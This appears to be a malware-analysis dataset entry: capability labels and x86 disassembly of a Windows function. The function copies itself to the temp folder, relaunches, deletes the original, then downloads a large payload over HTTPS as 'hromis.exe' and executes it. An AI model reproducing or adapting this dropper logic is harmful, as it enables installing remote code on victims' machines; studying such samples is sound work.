Function at 0x401020
Capabilities:
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x401042
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov edi, 0x2000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push edi
push 8
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 8
push dword [ebp - 0x14]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 4]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.hromi.exe
push dword [ebp - 4]
push 0x40217c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x4010c5
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
mov dword [ebp - 8], eax
call edi
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
cmp eax, esi
je 0x40103a
push esi
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011a5
push ebx
call edi
lea eax, [eax + eax + 2]
push eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 8]
push ebx
push eax
call section..text
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x4010bd
push esi
lea eax, [ebp - 0x18]
push eax
push ebx
call edi
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax*2 + 4]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push ebx
push esi
push dword [ebp - 4]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
jmp 0x40103c
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 0x3c]
push dword [ebp - 0x10]
add eax, ecx
movzx edx, word [eax + 6]
imul edx, edx, 0x28
lea eax, [edx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], esi
jmp 0x4011e3
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x4e20
jg 0x4011ea
push edi
call ebx
test eax, eax
je 0x4011d7
push esi
push esi
push esi
push esi
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x1c], eax
cmp eax, esi
je 0x4010bd
or dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x34], str.text_
mov dword [ebp - 0x30], str.application_
mov dword [ebp - 0x2c], esi
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jle 0x401225
mov dword [ebp - 8], esi
xor ebx, ebx
mov eax, dword [ebp - 8]
push esi
push esi
push 3
push esi
push esi
push 0x1bb
push dword [eax*4 + section..data]
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, eax
cmp edi, esi
jne 0x401253
inc ebx
cmp ebx, 3
jl 0x401227
jmp 0x401219
mov dword [ebp - 4], esi
push esi
push 0x80803000
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 8]
push esi
push esi
push dword [eax*4 + 0x403008]
push esi
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
cmp ebx, esi
jne 0x401285
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x401256
jmp 0x401219
push 4
pop edi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x1f
push ebx
mov dword [ebp - 0x28], edi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp - 0x20], 0x100
push edi
lea eax, [ebp - 0x20]
push eax
push 0x1f
push ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
xor edi, edi
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4012c8
inc edi
cmp edi, 2
jl 0x4012b3
cmp edi, 2
je 0x401219
mov dword [ebp - 0x24], 4
mov dword [ebp - 0xc], esi
xor edi, edi
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000005
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x4012fc
inc edi
cmp edi, 3
jl 0x4012dd
cmp dword [ebp - 0xc], 0x30d40
jb 0x401219
push dword [ebp - 0xc]
push 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x4010bd
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x10]
jmp 0x40133b
mov eax, dword [ebp - 0x18]
add edi, eax
cmp eax, esi
je 0x40134e
cmp eax, dword [ebp - 0xc]
je 0x40134e
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40132d
sub edi, dword [ebp - 0x10]
cmp edi, dword [ebp - 0xc]
je 0x40135f
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x14
jl 0x401328
cmp dword [ebp - 4], 0x14
je 0x401219
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
mov edi, str.hromis.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
mov ebx, eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x838]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
lea eax, [ebp - 0x838]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push esi
push esi
lea eax, [ebp - 0x838]
push eax
jmp 0x401193